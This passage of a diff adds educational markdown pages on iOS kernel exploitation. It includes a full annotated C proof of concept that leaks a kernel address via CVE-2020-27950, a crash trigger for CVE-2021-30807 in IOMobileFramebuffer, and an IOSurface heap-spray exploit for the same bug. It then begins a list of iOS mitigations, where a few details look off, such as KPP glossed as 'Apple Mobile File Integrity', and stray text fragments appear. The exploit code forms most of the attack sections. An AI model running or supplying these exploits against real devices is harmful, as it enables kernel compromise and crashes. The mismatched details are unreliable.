Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
|
||||
|
||||
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
|
||||
|
||||
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
|
||||
|
||||
### Basic PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||||
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
|
||||
|
||||
Commetns were added for better understanding:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
// Number of OOL port descriptors in the "big" message.
|
||||
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
|
||||
#define LEAK_PORTS 50
|
||||
|
||||
// "Big" message: many descriptors → larger descriptor array in kmsg
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
|
||||
} message_big_t;
|
||||
|
||||
// "Small" message: fewer descriptors → leaves more room for the trailer
|
||||
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
|
||||
} message_small_t;
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t port; // our local receive port (target of sends)
|
||||
mach_port_t sent_port; // the port whose kernel address we want to leak
|
||||
|
||||
/*
|
||||
* 1) Create a receive right and attach a send right so we can send to ourselves.
|
||||
* This gives us predictable control over ipc_kmsg allocations when we send.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
/*
|
||||
* 2) Create another receive port (sent_port). We'll reference this port
|
||||
* in OOL descriptors so the kernel stores pointers to its ipc_port
|
||||
* structure in the kmsg → those pointers are what we aim to leak.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
|
||||
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
printf("[*] Will get port %x address\n", sent_port);
|
||||
|
||||
message_big_t *big_message = NULL;
|
||||
message_small_t *small_message = NULL;
|
||||
|
||||
// Compute userland sizes of our message structs
|
||||
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
|
||||
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
|
||||
|
||||
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
|
||||
big_message = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
/*
|
||||
* 3) Prepare the "big" message:
|
||||
* - Complex bit set (has descriptors)
|
||||
* - 50 OOL port descriptors, all pointing to the same sent_port
|
||||
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
|
||||
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
|
||||
*/
|
||||
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
|
||||
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
|
||||
|
||||
big_message->header.msgh_remote_port = port; // send to our receive right
|
||||
big_message->header.msgh_size = big_size;
|
||||
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
big_message->body.msgh_descriptor_count = LEAK_PORTS;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS; i++) {
|
||||
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
|
||||
}
|
||||
|
||||
/*
|
||||
* 4) Prepare the "small" message:
|
||||
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
|
||||
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
|
||||
*/
|
||||
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
|
||||
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
small_message->header.msgh_remote_port = port;
|
||||
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS - 10; i++) {
|
||||
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
small_message->sent_ports[i].name = sent_port;
|
||||
}
|
||||
|
||||
/*
|
||||
* 5) Receive buffer for reading back messages with trailers.
|
||||
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
|
||||
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
|
||||
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
|
||||
*/
|
||||
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
|
||||
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
|
||||
|
||||
/*
|
||||
* ---------- Exploitation sequence ----------
|
||||
*
|
||||
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
|
||||
* kernel pointers (ipc_port*) in its descriptor array.
|
||||
*/
|
||||
printf("[*] Sending message 1\n");
|
||||
mach_msg(&big_message->header,
|
||||
MACH_SEND_MSG,
|
||||
big_size, // send size
|
||||
0, // no receive
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step B: Immediately receive/discard it with a zero-sized buffer.
|
||||
* This frees the kalloc chunk without copying descriptors back,
|
||||
* leaving the kernel pointers resident in freed memory (stale).
|
||||
*/
|
||||
printf("[*] Discarding message 1\n");
|
||||
mach_msg((mach_msg_header_t *)0,
|
||||
MACH_RCV_MSG, // try to receive
|
||||
0, // send size 0
|
||||
0, // recv size 0 (forces error/free path)
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
|
||||
* We slightly bump msgh_size by +4 so that when the kernel appends
|
||||
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
|
||||
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
|
||||
*/
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
|
||||
printf("[*] Sending message 2\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step D: Receive message 2 and request an invalid trailer elements value (5).
|
||||
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
|
||||
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
|
||||
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
|
||||
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
|
||||
*/
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 2\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
|
||||
0,
|
||||
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
// Trailer begins right after the message body we sent (small_size + 4)
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
|
||||
|
||||
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
|
||||
sent_port_address |= (uint32_t)trailer->msgh_ad;
|
||||
|
||||
/*
|
||||
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
|
||||
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
|
||||
*/
|
||||
printf("[*] Sending message 3\n");
|
||||
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
printf("[*] Discarding message 3\n");
|
||||
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
// add another +4 to msgh_size → total +8 shift from the baseline
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
|
||||
printf("[*] Sending message 4\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t)*2,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 4\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
|
||||
0,
|
||||
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
|
||||
|
||||
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
|
||||
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
|
||||
|
||||
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,301 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## The Bug
|
||||
|
||||
You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
|
||||
|
||||
- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.
|
||||
|
||||
- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**:
|
||||
|
||||
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
|
||||
> **Result:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**.
|
||||
|
||||
> [!NOTE]
|
||||
> This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
|
||||
|
||||
## DoS PoC
|
||||
|
||||
The following is the initial DoS PoC from the ooriginal blog post with extra comments:
|
||||
|
||||
```c
|
||||
// PoC for CVE-2021-30807 trigger (annotated)
|
||||
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
|
||||
// Build/run only on devices you own and that are vulnerable.
|
||||
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
|
||||
// https://support.apple.com/en-us/103144
|
||||
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
|
||||
|
||||
void trigger_clcd_vuln(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
|
||||
// The "type" argument is the type (selector) of user client to open.
|
||||
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
|
||||
// external methods we need (incl. selector 83). If this doesn't work on your
|
||||
// build, try different types or query IORegistry to enumerate.
|
||||
int type = 2;
|
||||
|
||||
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
|
||||
// This returns the first matched service object (a kernel object handle).
|
||||
io_service_t service = IOServiceGetMatchingService(
|
||||
kIOMasterPortDefault,
|
||||
IOServiceMatching("IOMobileFramebuffer"));
|
||||
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("failed to open service\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("service: 0x%x\n", service);
|
||||
|
||||
// 2) Open a connection (user client) to the service.
|
||||
// The user client is what exposes external methods to userland.
|
||||
// 'type' selects which user client class/variant to instantiate.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("client: 0x%x\n", shared_user_client_conn);
|
||||
|
||||
printf("call externalMethod\n");
|
||||
|
||||
// 3) Prepare input scalars for the external method call.
|
||||
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
|
||||
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
|
||||
// We set it to a large value to force the out-of-bounds access.
|
||||
uint64_t scalars[4] = { 0x0 };
|
||||
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
|
||||
|
||||
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
|
||||
uint64_t output_scalars[4] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
printf("call s_default_fb_surface\n");
|
||||
|
||||
// 5) Invoke external method #83.
|
||||
// On vulnerable builds, this path ends up calling:
|
||||
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
|
||||
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
|
||||
// which uses our index to read a pointer and then passes it as IOSurface*.
|
||||
// If the pointer is bogus, IOSurface code will dereference it and the kernel
|
||||
// will panic (DoS).
|
||||
ret = IOConnectCallMethod(
|
||||
shared_user_client_conn,
|
||||
83, // **Selector 83**: vulnerable external method
|
||||
scalars, 1, // input scalars (count = 1; the OOB index)
|
||||
NULL, 0, // no input struct
|
||||
output_scalars, &output_scalars_size, // optional outputs
|
||||
NULL, NULL); // no output struct
|
||||
|
||||
// 6) Check the call result. On many vulnerable targets, you'll see either
|
||||
// KERN_SUCCESS right before a panic (because the deref happens deeper),
|
||||
// or an error if the call path rejects the request (e.g., entitlement/type).
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("failed to call external method: 0x%x --> %s\n",
|
||||
ret, mach_error_string(ret));
|
||||
return;
|
||||
}
|
||||
|
||||
printf("external method returned KERN_SUCCESS\n");
|
||||
|
||||
// 7) Clean up the user client connection handle.
|
||||
IOServiceClose(shared_user_client_conn);
|
||||
printf("success!\n");
|
||||
}
|
||||
```
|
||||
|
||||
## Arbitrary Read PoC Explained
|
||||
|
||||
1. **Opening the right user client**
|
||||
|
||||
- `get_appleclcd_uc()` finds the **AppleCLCD** service and opens **user client type 2**. AppleCLCD and IOMobileFramebuffer share the same external-methods table; type 2 exposes **selector 83**, the vulnerable method. **This is your entry to the bug.** E_POC/)
|
||||
|
||||
**Why 83 matters:** the decompiled path is:
|
||||
|
||||
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
|
||||
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
|
||||
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
|
||||
Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.**
|
||||
|
||||
2. **The heap spray (why IOSurface shows up here)**
|
||||
|
||||
- `do_spray()` uses **`IOSurfaceRootUserClient`** to **create many IOSurfaces** and **spray small values** (`s_set_value` style). This fills nearby kernel heaps with **pointers to valid IOSurface objects**.
|
||||
|
||||
- **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow.
|
||||
|
||||
3. **The "offset/8" trick (what that index really is)**
|
||||
|
||||
- In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`.
|
||||
|
||||
- **Why divide by 8?** The kernel does **`base + index*8`** to compute which **pointer-sized slot** to read. You're picking **"slot number N"**, not a byte offset. **Eight bytes per slot** on 64-bit.
|
||||
|
||||
- That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.**
|
||||
|
||||
4. **What selector 83 returns (this is the subtle part)**
|
||||
|
||||
- The call is:
|
||||
|
||||
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
|
||||
output_scalars, &output_scalars_size, NULL, NULL);`o
|
||||
|
||||
- Internally, after the OOB pointer fetch, the driver calls\
|
||||
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
|
||||
|
||||
- **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation.
|
||||
|
||||
**Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like:
|
||||
|
||||
- **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and
|
||||
|
||||
- **`s_create_port_from_surface` (method 35)** if you need the inverse.\
|
||||
Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
|
||||
|
||||
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
|
||||
|
||||
```c
|
||||
#include "exploit.h"
|
||||
|
||||
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
|
||||
io_connect_t get_appleclcd_uc(void) {
|
||||
kern_return_t ret;
|
||||
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
||||
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
|
||||
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
|
||||
|
||||
// Find the **AppleCLCD** service in the IORegistry.
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
|
||||
IOServiceMatching("AppleCLCD"));
|
||||
if(service == MACH_PORT_NULL) {
|
||||
printf("[-] failed to open service\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD service: 0x%x\n", service);
|
||||
|
||||
// Open a user client connection to AppleCLCD with the chosen **type**.
|
||||
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
||||
if(ret != KERN_SUCCESS) {
|
||||
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
|
||||
return shared_user_client_conn;
|
||||
}
|
||||
|
||||
// Trigger the OOB index path of external method #83.
|
||||
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
|
||||
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
|
||||
uint64_t trigger_oob(uint64_t offset) {
|
||||
kern_return_t ret;
|
||||
|
||||
// The method takes a single 32-bit scalar that it uses as an index.
|
||||
uint64_t scalars[1] = { 0x0 };
|
||||
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
|
||||
|
||||
// #83 returns one scalar. In this flow it will be the Mach port name
|
||||
// (a u32 handle in our task), not a kernel pointer.
|
||||
uint64_t output_scalars[1] = { 0 };
|
||||
uint32_t output_scalars_size = 1;
|
||||
|
||||
io_connect_t appleclcd_uc = get_appleclcd_uc();
|
||||
if (appleclcd_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Call external method 83. Internally:
|
||||
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
|
||||
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
|
||||
// which creates a send right for that object and writes its port name
|
||||
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
|
||||
ret = IOConnectCallMethod(appleclcd_uc, 83,
|
||||
scalars, 1,
|
||||
NULL, 0,
|
||||
output_scalars, &output_scalars_size,
|
||||
NULL, NULL);
|
||||
|
||||
if (ret != KERN_SUCCESS) {
|
||||
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
// This is the key: you get back a Mach port name (u32) to whatever
|
||||
// object was at that OOB slot (ideally an IOSurface you sprayed).
|
||||
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
|
||||
return output_scalars[0];
|
||||
}
|
||||
|
||||
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
|
||||
// real IOSurface (easier & stabler than a fully fake object).
|
||||
bool do_spray(void) {
|
||||
char data[0x10];
|
||||
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
|
||||
|
||||
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create many IOSurfaces and use set_value / value spray helpers
|
||||
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
|
||||
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
|
||||
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
|
||||
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
|
||||
if (surface_ids[i] <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Spray small values repeatedly: tends to allocate/fill predictable
|
||||
// kalloc regions near where the IOMFB table OOB will read from.
|
||||
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
|
||||
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
|
||||
20, 200, // rounds, per-round items
|
||||
data, sizeof(data),
|
||||
NULL) == false) {
|
||||
printf("iosurface spray failed\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
|
||||
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
||||
if (iosurface_uc == MACH_PORT_NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("[*] do spray\n");
|
||||
if (do_spray() == false) {
|
||||
printf("[-] shape failed, abort\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[*] spray success\n");
|
||||
|
||||
// Trigger the OOB read. The magic constant chooses a pointer-slot
|
||||
// far beyond the legit array (offset is in bytes; index = offset/8).
|
||||
// If the spray worked, this returns a **Mach port name** (handle) to one
|
||||
// of your sprayed IOSurfaces; otherwise it may crash.
|
||||
printf("[*] trigger\n");
|
||||
trigger_oob(0x1200000 + 0x1048);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
|
||||
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
|
||||
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
276
src/binary-exploitation/ios-exploiting/README.md
Normal file
276
src/binary-exploitation/ios-exploiting/README.md
Normal file
@ -0,0 +1,276 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||||
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
|
||||
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
|
||||
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
|
||||
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
|
||||
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
|
||||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||||
